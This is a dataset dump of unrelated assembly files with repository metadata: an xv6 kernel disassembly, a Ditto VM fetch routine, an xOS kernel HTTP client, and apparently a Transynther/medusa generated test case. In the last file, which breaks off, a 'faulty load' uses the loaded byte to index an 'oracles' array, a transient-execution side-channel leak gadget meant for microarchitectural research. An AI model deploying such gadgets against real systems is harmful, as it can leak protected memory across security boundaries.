%edi,%ebx 80106d28: 75 dd jne 80106d07 <freevm+0x37> } } kfree((char*)pgdir); 80106d2a: 89 75 08 mov %esi,0x8(%ebp) } 80106d2d: 8d 65 f4 lea -0xc(%ebp),%esp 80106d30: 5b pop %ebx 80106d31: 5e pop %esi 80106d32: 5f pop %edi 80106d33: 5d pop %ebp kfree((char*)pgdir); 80106d34: e9 d7 b5 ff ff jmp 80102310 <kfree> panic("freevm: no pgdir"); 80106d39: 83 ec 0c sub $0xc,%esp 80106d3c: 68 e5 79 10 80 push $0x801079e5 80106d41: e8 4a 96 ff ff call 80100390 <panic> 80106d46: 8d 76 00 lea 0x0(%esi),%esi 80106d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106d50 <setupkvm>: { 80106d50: 55 push %ebp 80106d51: 89 e5 mov %esp,%ebp 80106d53: 56 push %esi 80106d54: 53 push %ebx if((pgdir = (pde_t*)kalloc()) == 0) 80106d55: e8 66 b7 ff ff call 801024c0 <kalloc> 80106d5a: 85 c0 test %eax,%eax 80106d5c: 89 c6 mov %eax,%esi 80106d5e: 74 42 je 80106da2 <setupkvm+0x52> memset(pgdir, 0, PGSIZE); 80106d60: 83 ec 04 sub $0x4,%esp for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106d63: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106d68: 68 00 10 00 00 push $0x1000 80106d6d: 6a 00 push $0x0 80106d6f: 50 push %eax 80106d70: e8 ab d7 ff ff call 80104520 <memset> 80106d75: 83 c4 10 add $0x10,%esp (uint)k->phys_start, k->perm) < 0) { 80106d78: 8b 43 04 mov 0x4(%ebx),%eax if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106d7b: 8b 4b 08 mov 0x8(%ebx),%ecx 80106d7e: 83 ec 08 sub $0x8,%esp 80106d81: 8b 13 mov (%ebx),%edx 80106d83: ff 73 0c pushl 0xc(%ebx) 80106d86: 50 push %eax 80106d87: 29 c1 sub %eax,%ecx 80106d89: 89 f0 mov %esi,%eax 80106d8b: e8 b0 f9 ff ff call 80106740 <mappages> 80106d90: 83 c4 10 add $0x10,%esp 80106d93: 85 c0 test %eax,%eax 80106d95: 78 19 js 80106db0 <setupkvm+0x60> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106d97: 83 c3 10 add $0x10,%ebx 80106d9a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106da0: 75 d6 jne 80106d78 <setupkvm+0x28> } 80106da2: 8d 65 f8 lea -0x8(%ebp),%esp 80106da5: 89 f0 mov %esi,%eax 80106da7: 5b pop %ebx 80106da8: 5e pop %esi 80106da9: 5d pop %ebp 80106daa: c3 ret 80106dab: 90 nop 80106dac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi freevm(pgdir); 80106db0: 83 ec 0c sub $0xc,%esp 80106db3: 56 push %esi return 0; 80106db4: 31 f6 xor %esi,%esi freevm(pgdir); 80106db6: e8 15 ff ff ff call 80106cd0 <freevm> return 0; 80106dbb: 83 c4 10 add $0x10,%esp } 80106dbe: 8d 65 f8 lea -0x8(%ebp),%esp 80106dc1: 89 f0 mov %esi,%eax 80106dc3: 5b pop %ebx 80106dc4: 5e pop %esi 80106dc5: 5d pop %ebp 80106dc6: c3 ret 80106dc7: 89 f6 mov %esi,%esi 80106dc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106dd0 <kvmalloc>: { 80106dd0: 55 push %ebp 80106dd1: 89 e5 mov %esp,%ebp 80106dd3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106dd6: e8 75 ff ff ff call 80106d50 <setupkvm> 80106ddb: a3 a4 54 11 80 mov %eax,0x801154a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106de0: 05 00 00 00 80 add $0x80000000,%eax 80106de5: 0f 22 d8 mov %eax,%cr3 } 80106de8: c9 leave 80106de9: c3 ret 80106dea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106df0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106df0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106df1: 31 c9 xor %ecx,%ecx { 80106df3: 89 e5 mov %esp,%ebp 80106df5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106df8: 8b 55 0c mov 0xc(%ebp),%edx 80106dfb: 8b 45 08 mov 0x8(%ebp),%eax 80106dfe: e8 bd f8 ff ff call 801066c0 <walkpgdir> if(pte == 0) 80106e03: 85 c0 test %eax,%eax 80106e05: 74 05 je 80106e0c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106e07: 83 20 fb andl $0xfffffffb,(%eax) } 80106e0a: c9 leave 80106e0b: c3 ret panic("clearpteu"); 80106e0c: 83 ec 0c sub $0xc,%esp 80106e0f: 68 f6 79 10 80 push $0x801079f6 80106e14: e8 77 95 ff ff call 80100390 <panic> 80106e19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106e20 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106e20: 55 push %ebp 80106e21: 89 e5 mov %esp,%ebp 80106e23: 57 push %edi 80106e24: 56 push %esi 80106e25: 53 push %ebx 80106e26: 83 ec 1c sub $0x1c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106e29: e8 22 ff ff ff call 80106d50 <setupkvm> 80106e2e: 85 c0 test %eax,%eax 80106e30: 89 45 e0 mov %eax,-0x20(%ebp) 80106e33: 0f 84 9f 00 00 00 je 80106ed8 <copyuvm+0xb8> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106e39: 8b 4d 0c mov 0xc(%ebp),%ecx 80106e3c: 85 c9 test %ecx,%ecx 80106e3e: 0f 84 94 00 00 00 je 80106ed8 <copyuvm+0xb8> 80106e44: 31 ff xor %edi,%edi 80106e46: eb 4a jmp 80106e92 <copyuvm+0x72> 80106e48: 90 nop 80106e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106e50: 83 ec 04 sub $0x4,%esp 80106e53: 81 c3 00 00 00 80 add $0x80000000,%ebx 80106e59: 68 00 10 00 00 push $0x1000 80106e5e: 53 push %ebx 80106e5f: 50 push %eax 80106e60: e8 6b d7 ff ff call 801045d0 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80106e65: 58 pop %eax 80106e66: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106e6c: b9 00 10 00 00 mov $0x1000,%ecx 80106e71: 5a pop %edx 80106e72: ff 75 e4 pushl -0x1c(%ebp) 80106e75: 50 push %eax 80106e76: 89 fa mov %edi,%edx 80106e78: 8b 45 e0 mov -0x20(%ebp),%eax 80106e7b: e8 c0 f8 ff ff call 80106740 <mappages> 80106e80: 83 c4 10 add $0x10,%esp 80106e83: 85 c0 test %eax,%eax 80106e85: 78 61 js 80106ee8 <copyuvm+0xc8> for(i = 0; i < sz; i += PGSIZE){ 80106e87: 81 c7 00 10 00 00 add $0x1000,%edi 80106e8d: 39 7d 0c cmp %edi,0xc(%ebp) 80106e90: 76 46 jbe 80106ed8 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106e92: 8b 45 08 mov 0x8(%ebp),%eax 80106e95: 31 c9 xor %ecx,%ecx 80106e97: 89 fa mov %edi,%edx 80106e99: e8 22 f8 ff ff call 801066c0 <walkpgdir> 80106e9e: 85 c0 test %eax,%eax 80106ea0: 74 61 je 80106f03 <copyuvm+0xe3> if(!(*pte & PTE_P)) 80106ea2: 8b 00 mov (%eax),%eax 80106ea4: a8 01 test $0x1,%al 80106ea6: 74 4e je 80106ef6 <copyuvm+0xd6> pa = PTE_ADDR(*pte); 80106ea8: 89 c3 mov %eax,%ebx flags = PTE_FLAGS(*pte); 80106eaa: 25 ff 0f 00 00 and $0xfff,%eax pa = PTE_ADDR(*pte); 80106eaf: 81 e3 00 f0 ff ff and $0xfffff000,%ebx flags = PTE_FLAGS(*pte); 80106eb5: 89 45 e4 mov %eax,-0x1c(%ebp) if((mem = kalloc()) == 0) 80106eb8: e8 03 b6 ff ff call 801024c0 <kalloc> 80106ebd: 85 c0 test %eax,%eax 80106ebf: 89 c6 mov %eax,%esi 80106ec1: 75 8d jne 80106e50 <copyuvm+0x30> } } return d; bad: freevm(d); 80106ec3: 83 ec 0c sub $0xc,%esp 80106ec6: ff 75 e0 pushl -0x20(%ebp) 80106ec9: e8 02 fe ff ff call 80106cd0 <freevm> return 0; 80106ece: 83 c4 10 add $0x10,%esp 80106ed1: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) } 80106ed8: 8b 45 e0 mov -0x20(%ebp),%eax 80106edb: 8d 65 f4 lea -0xc(%ebp),%esp 80106ede: 5b pop %ebx 80106edf: 5e pop %esi 80106ee0: 5f pop %edi 80106ee1: 5d pop %ebp 80106ee2: c3 ret 80106ee3: 90 nop 80106ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kfree(mem); 80106ee8: 83 ec 0c sub $0xc,%esp 80106eeb: 56 push %esi 80106eec: e8 1f b4 ff ff call 80102310 <kfree> goto bad; 80106ef1: 83 c4 10 add $0x10,%esp 80106ef4: eb cd jmp 80106ec3 <copyuvm+0xa3> panic("copyuvm: page not present"); 80106ef6: 83 ec 0c sub $0xc,%esp 80106ef9: 68 1a 7a 10 80 push $0x80107a1a 80106efe: e8 8d 94 ff ff call 80100390 <panic> panic("copyuvm: pte should exist"); 80106f03: 83 ec 0c sub $0xc,%esp 80106f06: 68 00 7a 10 80 push $0x80107a00 80106f0b: e8 80 94 ff ff call 80100390 <panic> 80106f10 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106f10: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106f11: 31 c9 xor %ecx,%ecx { 80106f13: 89 e5 mov %esp,%ebp 80106f15: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106f18: 8b 55 0c mov 0xc(%ebp),%edx 80106f1b: 8b 45 08 mov 0x8(%ebp),%eax 80106f1e: e8 9d f7 ff ff call 801066c0 <walkpgdir> if((*pte & PTE_P) == 0) 80106f23: 8b 00 mov (%eax),%eax return 0; if((*pte & PTE_U) == 0) return 0; return (char*)P2V(PTE_ADDR(*pte)); } 80106f25: c9 leave if((*pte & PTE_U) == 0) 80106f26: 89 c2 mov %eax,%edx return (char*)P2V(PTE_ADDR(*pte)); 80106f28: 25 00 f0 ff ff and $0xfffff000,%eax if((*pte & PTE_U) == 0) 80106f2d: 83 e2 05 and $0x5,%edx return (char*)P2V(PTE_ADDR(*pte)); 80106f30: 05 00 00 00 80 add $0x80000000,%eax 80106f35: 83 fa 05 cmp $0x5,%edx 80106f38: ba 00 00 00 00 mov $0x0,%edx 80106f3d: 0f 45 c2 cmovne %edx,%eax } 80106f40: c3 ret 80106f41: eb 0d jmp 80106f50 <copyout> 80106f43: 90 nop 80106f44: 90 nop 80106f45: 90 nop 80106f46: 90 nop 80106f47: 90 nop 80106f48: 90 nop 80106f49: 90 nop 80106f4a: 90 nop 80106f4b: 90 nop 80106f4c: 90 nop 80106f4d: 90 nop 80106f4e: 90 nop 80106f4f: 90 nop 80106f50 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106f50: 55 push %ebp 80106f51: 89 e5 mov %esp,%ebp 80106f53: 57 push %edi 80106f54: 56 push %esi 80106f55: 53 push %ebx 80106f56: 83 ec 1c sub $0x1c,%esp 80106f59: 8b 5d 14 mov 0x14(%ebp),%ebx 80106f5c: 8b 55 0c mov 0xc(%ebp),%edx 80106f5f: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106f62: 85 db test %ebx,%ebx 80106f64: 75 40 jne 80106fa6 <copyout+0x56> 80106f66: eb 70 jmp 80106fd8 <copyout+0x88> 80106f68: 90 nop 80106f69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106f70: 8b 55 e4 mov -0x1c(%ebp),%edx 80106f73: 89 f1 mov %esi,%ecx 80106f75: 29 d1 sub %edx,%ecx 80106f77: 81 c1 00 10 00 00 add $0x1000,%ecx 80106f7d: 39 d9 cmp %ebx,%ecx 80106f7f: 0f 47 cb cmova %ebx,%ecx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106f82: 29 f2 sub %esi,%edx 80106f84: 83 ec 04 sub $0x4,%esp 80106f87: 01 d0 add %edx,%eax 80106f89: 51 push %ecx 80106f8a: 57 push %edi 80106f8b: 50 push %eax 80106f8c: 89 4d e4 mov %ecx,-0x1c(%ebp) 80106f8f: e8 3c d6 ff ff call 801045d0 <memmove> len -= n; buf += n; 80106f94: 8b 4d e4 mov -0x1c(%ebp),%ecx while(len > 0){ 80106f97: 83 c4 10 add $0x10,%esp va = va0 + PGSIZE; 80106f9a: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx buf += n; 80106fa0: 01 cf add %ecx,%edi while(len > 0){ 80106fa2: 29 cb sub %ecx,%ebx 80106fa4: 74 32 je 80106fd8 <copyout+0x88> va0 = (uint)PGROUNDDOWN(va); 80106fa6: 89 d6 mov %edx,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106fa8: 83 ec 08 sub $0x8,%esp va0 = (uint)PGROUNDDOWN(va); 80106fab: 89 55 e4 mov %edx,-0x1c(%ebp) 80106fae: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106fb4: 56 push %esi 80106fb5: ff 75 08 pushl 0x8(%ebp) 80106fb8: e8 53 ff ff ff call 80106f10 <uva2ka> if(pa0 == 0) 80106fbd: 83 c4 10 add $0x10,%esp 80106fc0: 85 c0 test %eax,%eax 80106fc2: 75 ac jne 80106f70 <copyout+0x20> } return 0; } 80106fc4: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106fc7: b8 ff ff ff ff mov $0xffffffff,%eax } 80106fcc: 5b pop %ebx 80106fcd: 5e pop %esi 80106fce: 5f pop %edi 80106fcf: 5d pop %ebp 80106fd0: c3 ret 80106fd1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106fd8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106fdb: 31 c0 xor %eax,%eax } 80106fdd: 5b pop %ebx 80106fde: 5e pop %esi 80106fdf: 5f pop %edi 80106fe0: 5d pop %ebp 80106fe1: c3 ret

38.272745

74

0.521932

5a542914c0349d436909a5720d5cf1ad7d700775

3,180

asm

Assembly

VM/src/Linux/VPU/x86_64/organized/fetch.asm

ozdevguy/Ditto

70ff02ae1f5483e168ba4900d28bcdfcacfe22bd

[ "Apache-2.0" ]

null

VM/src/Linux/VPU/x86_64/organized/fetch.asm

ozdevguy/Ditto

70ff02ae1f5483e168ba4900d28bcdfcacfe22bd

[ "Apache-2.0" ]

null

VM/src/Linux/VPU/x86_64/organized/fetch.asm

ozdevguy/Ditto

70ff02ae1f5483e168ba4900d28bcdfcacfe22bd

[ "Apache-2.0" ]

null

/* *=========================================================================* | The Ditto Virtual Machine | Written by Bobby Crawford (ozdevguy) | | http://www.crawford-online.com | | | | This program is free software: you can redistribute it and/or modify | | it under the terms of the GNU General Public License as published by | | the Free Software Foundation, either version 3 of the License, or | | (at your option) any later version. | | | | This program is distributed in the hope that it will be useful, | | but WITHOUT ANY WARRANTY; without even the implied warranty of | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | | GNU General Public License for more details. | | | | You should have received a copy of the GNU General Public License | | along with this program. If not, see <http://www.gnu.org/licenses/>.| | | | | *=========================================================================* Intel 64 Architecture ====================== -> INITIATE INSTRUCTION FETCH (fetch.asm) This file contains the assembly instructions required to initiate an instruction fetch. Before performing any work relating to the actual instruction fetch, we need to see if a virtual interrupt has been rasied. If an interrupt has been raised, we perform the necessary actions by jumping to the virtual hardware interrupt handler. If an interrupt has not been raised, we can successfully begin fetching the next instruction based on the memory address in the instruction pointer. In order to fetch the instruction correctly, we need to call the appropriate MMU instruction fetch function for the current VPU operating mode (privileged vs. protected). */ ivpu_fetch: #Hardware interrupt check. mov rbx, 0x400 #Create a mask for the HI flag in the FLAGS register (RSI). mov rcx, 0x0 #Move 0 into rcx. and rbx, rsi #Get the HI flag by applying the mask to the FLAGS register (RSI). cmovnz rcx, qword ptr [r14 + 2208] #Move the HWI register from the VPU vector into rcx (if HI is enabled). test rbx, rcx #Check to see if both the HI flag and Hardware Interrupt Detected bits are set. mov rax, offset ivpu_fetch_cont #Move the address of ivpu_fetch_cont into rax mov rdx, offset ivpu_hardware_interrupt_handler #Move the address of _hardware_interrupt_handler into rdx cmovz rdx, rax #If the HI flag and Hardware Interrupt Detected bits are not BOTH active, place the _contFetch address into rdx. jmp rdx #Jump to the address in rdx. ivpu_fetch_cont: #Continue the instruction fetch process... test rsi, 0x2000 #Check the PR flag in the FLAGS register. jnz ivpu_mmu_fetch_instruction_prot #If the PR flag is set, fetch the instruction from the MMU in protected mode. jmp ivpu_mmu_fetch_instruction_priv #If the PR flag is not set, fetch the instruction from the MMU in privileged mode.

56.785714

137

0.642138

841260a51759fd3808d94e143a3f9bea8cfedaf3

8,108

asm

Assembly

kernel/net/http.asm

ssebs/xos

8c50cb7753690ad67696131a8b9935947e1a8075

[ "MIT" ]

15

2020-05-02T22:04:24.000Z

2021-08-31T16:56:59.000Z

kernel/net/http.asm

JamesLinus/xos

3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e

[ "MIT" ]

null

kernel/net/http.asm

JamesLinus/xos

3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e

[ "MIT" ]

1

2019-07-20T10:10:36.000Z

;; xOS32 ;; Copyright (C) 2016-2017 by Omar Mohammad. use32 ; HyperText Transfer Protocol HTTP_DESTINATION_PORT = 80 HTTP_DEBUG_PORT = 8080 ; probably not needed.. HTTP_INITIAL_SEQ = 0x00000000 http_get_string db "GET " http_head_string db "HEAD " http_version_string db "HTTP/1.1" http_user_agent_string db "User-Agent: xOS kernel HTTP layer",0 http_host_string db "Host: ",0 http_accept_language_string db "Accept-Language: en-us",0 http_accept_encoding_string db "Accept-Encoding: identity",0 http_keep_alive_string db "Connection: Keep-Alive",0 ; http_copy_domain: ; Copies the domain name of a URI, stripping the "http://" if it is present ; In\ ESI = URI ; In\ EDI = Buffer ; Out\ Nothing http_copy_domain: cmp dword[esi], "http" je .strip_http jmp .start .strip_http: add esi, 7 ; strlen("http://"); .start: lodsb cmp al, 0 je .done cmp al, 13 je .done cmp al, 10 je .done cmp al, '/' je .done stosb jmp .start .done: xor al, al stosb ret ; http_copy_path: ; Copies the path of a URI ; In\ ESI = URI ; In\ EDI = Buffer ; Out\ Nothing http_copy_path: cmp dword[esi], "http" je .strip_http jmp .skip_domain .strip_http: add esi, 7 .skip_domain: lodsb cmp al, '/' je .copy_path cmp al, 0 je .root_path cmp al, 13 je .root_path cmp al, 10 je .root_path jmp .skip_domain .copy_path: dec esi call strlen mov ecx, eax rep movsb xor al, al stosb ret .root_path: mov al, '/' stosb xor al, al stosb ret ; http_head: ; Performs an HTTP HEAD request ; In\ ESI = URI ; Out\ EAX = Buffer, -1 on error http_head: cmp [network_available], 1 jne .error mov [.uri], esi mov edi, .domain mov ecx, 256 xor al, al rep stosb mov edi, .path mov ecx, 256 rep stosb ; copy the domain host and path names mov esi, [.uri] mov edi, .domain call http_copy_domain mov esi, [.uri] mov edi, .path call http_copy_path ; resolve the DNS mov esi, .domain call dns_request cmp eax, 0 je .error mov [.ip], eax ; create a socket connection call net_increment_port mov al, SOCKET_PROTOCOL_TCP mov ebx, [.ip] mov edx, (HTTP_DESTINATION_PORT shl 16) mov dx, [local_port] call socket_open cmp eax, -1 je .error mov [.socket], eax ; construct the HTTP request mov ecx, 8192 ; much, much more than enough call kmalloc mov [.request], eax mov ecx, TCP_WINDOW call malloc mov [.response], eax mov edi, [.request] mov esi, http_head_string mov ecx, 5 rep movsb mov esi, .path call strlen mov ecx, eax rep movsb mov al, ' ' stosb mov esi, http_version_string mov ecx, 8 rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_user_agent_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_host_string call strlen mov ecx, eax rep movsb mov esi, .domain call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_accept_language_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_accept_encoding_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_keep_alive_string call strlen mov ecx, eax rep movsb ; two CRLF indicates end of request header mov al, 13 stosb mov al, 10 stosb mov al, 13 stosb mov al, 10 stosb sub edi, [.request] mov [.request_size], edi mov esi, [.request] call com1_send ; send the request mov eax, [.socket] mov esi, [.request] mov ecx, [.request_size] mov dl, TCP_PSH or TCP_ACK call socket_write cmp eax, 0 jne .error_close ; receive the response mov [.response_size], 0 .receive_loop: mov eax, [.socket] mov edi, [.response] add edi, [.response_size] call socket_read add [.response_size], eax ;cmp eax, 0 ;je .check_finish cmp dl, 0xFF je .finish test dl, TCP_PSH jnz .psh_ack test dl, TCP_FIN jnz .finish test dl, TCP_ACK jnz .check_data jmp .finish .check_data: cmp eax, 0 je .receive_loop .psh_ack: ; ACK the data we received mov eax, [.socket] mov esi, 0 mov ecx, 0 mov dl, TCP_ACK call socket_write cmp eax, 0 jne .error_close jmp .receive_loop .finish: mov eax, [.socket] call socket_close mov eax, [.request] call kfree mov eax, [.response] ret .error_close: mov eax, [.socket] call socket_close .error_free: mov eax, [.request] call kfree mov eax, [.response] call free .error: mov eax, -1 ret align 4 .uri dd 0 .ip dd 0 .socket dd 0 .request dd 0 .request_size dd 0 .response dd 0 .response_size dd 0 .domain: times 256 db 0 .path: times 256 db 0 ; http_get: ; Performs an HTTP GET request ; In\ ESI = URI ; Out\ EAX = Buffer, -1 on error ; Out\ ECX = Buffer size, including HTTP headers http_get: cmp [network_available], 1 jne .error mov [.uri], esi mov edi, .domain mov ecx, 256 xor al, al rep stosb mov edi, .path mov ecx, 256 rep stosb ; copy the domain host and path names mov esi, [.uri] mov edi, .domain call http_copy_domain mov esi, [.uri] mov edi, .path call http_copy_path ; resolve the DNS mov esi, .domain call dns_request cmp eax, 0 je .error mov [.ip], eax ; create a socket connection call net_increment_port mov al, SOCKET_PROTOCOL_TCP mov ebx, [.ip] mov edx, (HTTP_DESTINATION_PORT shl 16) mov dx, [local_port] call socket_open cmp eax, -1 je .error mov [.socket], eax ; construct the HTTP request mov ecx, 8192 ; much, much more than enough call kmalloc mov [.request], eax mov ecx, TCP_WINDOW call malloc mov [.response], eax mov edi, [.request] mov esi, http_get_string mov ecx, 4 rep movsb mov esi, .path call strlen mov ecx, eax rep movsb mov al, ' ' stosb mov esi, http_version_string mov ecx, 8 rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_user_agent_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_host_string call strlen mov ecx, eax rep movsb mov esi, .domain call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_accept_language_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_accept_encoding_string call strlen mov ecx, eax rep movsb mov al, 13 stosb mov al, 10 stosb mov esi, http_keep_alive_string call strlen mov ecx, eax rep movsb ; two CRLF indicates end of request header mov al, 13 stosb mov al, 10 stosb mov al, 13 stosb mov al, 10 stosb sub edi, [.request] mov [.request_size], edi ; send the request mov eax, [.socket] mov esi, [.request] mov ecx, [.request_size] mov dl, TCP_PSH or TCP_ACK call socket_write ;cmp eax, 0 ;jne .error_close ; receive the response mov [.response_size], 0 mov [.response_size2], 0 .receive_loop: cmp [.response_size2], TCP_WINDOW-8192 jl .receive_work ; resize the working memory mov eax, [.response] mov ecx, [.response_size] add ecx, TCP_WINDOW call realloc mov [.response], eax mov [.response_size2], 0 .receive_work: mov eax, [.socket] mov edi, [.response] add edi, [.response_size] call socket_read add [.response_size], eax add [.response_size2], eax ; check what's happening... cmp dl, 0xFF je .finish test dl, TCP_PSH jnz .psh_ack test dl, TCP_FIN jnz .finish test dl, TCP_ACK jnz .check_payload jmp .finish .check_payload: cmp eax, 0 je .receive_loop .psh_ack: ; ACK the data we received mov eax, [.socket] mov esi, 0 mov ecx, 0 mov dl, TCP_ACK call socket_write ;cmp eax, 0 ;jne .error_close jmp .receive_loop .finish: mov eax, [.socket] call socket_close mov eax, [.request] call kfree mov eax, [.response] mov ecx, [.response_size] ret .error_close: mov eax, [.socket] call socket_close .error_free: mov eax, [.request] call kfree mov eax, [.response] call free .error: mov eax, -1 mov ecx, 0 ret align 4 .uri dd 0 .ip dd 0 .socket dd 0 .request dd 0 .request_size dd 0 .response dd 0 .response_size dd 0 .response_size2 dd 0 .domain: times 256 db 0 .path: times 256 db 0

13.468439

75

0.686729

d98aadd75c2eca7f64ac4bb1c28d1ad4428b0627

4,163

asm

Assembly

Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_73_1762.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_73_1762.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_73_1762.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1d35, %rdx nop and %rsi, %rsi movl $0x61626364, (%rdx) and %rdx, %rdx lea addresses_WC_ht+0xb09d, %r8 nop nop cmp $22295, %r10 mov $0x6162636465666768, %r14 movq %r14, %xmm5 movups %xmm5, (%r8) nop nop and $55114, %r8 lea addresses_D_ht+0x9e8d, %r8 nop nop nop cmp $61921, %rdx mov $0x6162636465666768, %rsi movq %rsi, (%r8) nop nop add $61264, %r14 lea addresses_A_ht+0x568d, %rsi nop nop nop nop dec %rdi mov (%rsi), %bp nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x13cad, %rsi lea addresses_WC_ht+0x1b31, %rdi nop nop nop nop xor $25289, %r10 mov $86, %rcx rep movsb nop nop and %rdx, %rdx lea addresses_WT_ht+0x700d, %rsi lea addresses_WC_ht+0x13c0d, %rdi nop nop nop nop nop inc %r14 mov $93, %rcx rep movsw dec %r10 lea addresses_D_ht+0x509d, %rsi lea addresses_normal_ht+0xf40d, %rdi nop nop inc %r14 mov $38, %rcx rep movsl nop nop nop nop nop and $11655, %rcx lea addresses_D_ht+0x1233d, %rbp nop cmp %rdi, %rdi movups (%rbp), %xmm3 vpextrq $0, %xmm3, %rcx nop nop nop nop and %r14, %r14 lea addresses_normal_ht+0xd80d, %rcx nop nop nop nop nop sub %rdx, %rdx mov (%rcx), %r8d nop xor %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rbx push %rcx push %rdi push %rsi // Load mov $0x61df62000000040d, %r13 nop nop nop nop sub $5794, %rcx mov (%r13), %edi nop nop nop nop nop add %rbx, %rbx // Load lea addresses_A+0x1add3, %rbx nop sub $37592, %rsi movups (%rbx), %xmm6 vpextrq $0, %xmm6, %r8 nop nop and $18469, %rdi // Store lea addresses_WT+0x1e70d, %rdi nop nop nop nop and $17203, %rsi movl $0x51525354, (%rdi) nop nop nop nop and $61015, %rdi // Faulty Load lea addresses_normal+0x1c0d, %r11 nop nop sub %rbx, %rbx mov (%r11), %edi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}} [Faulty Load] 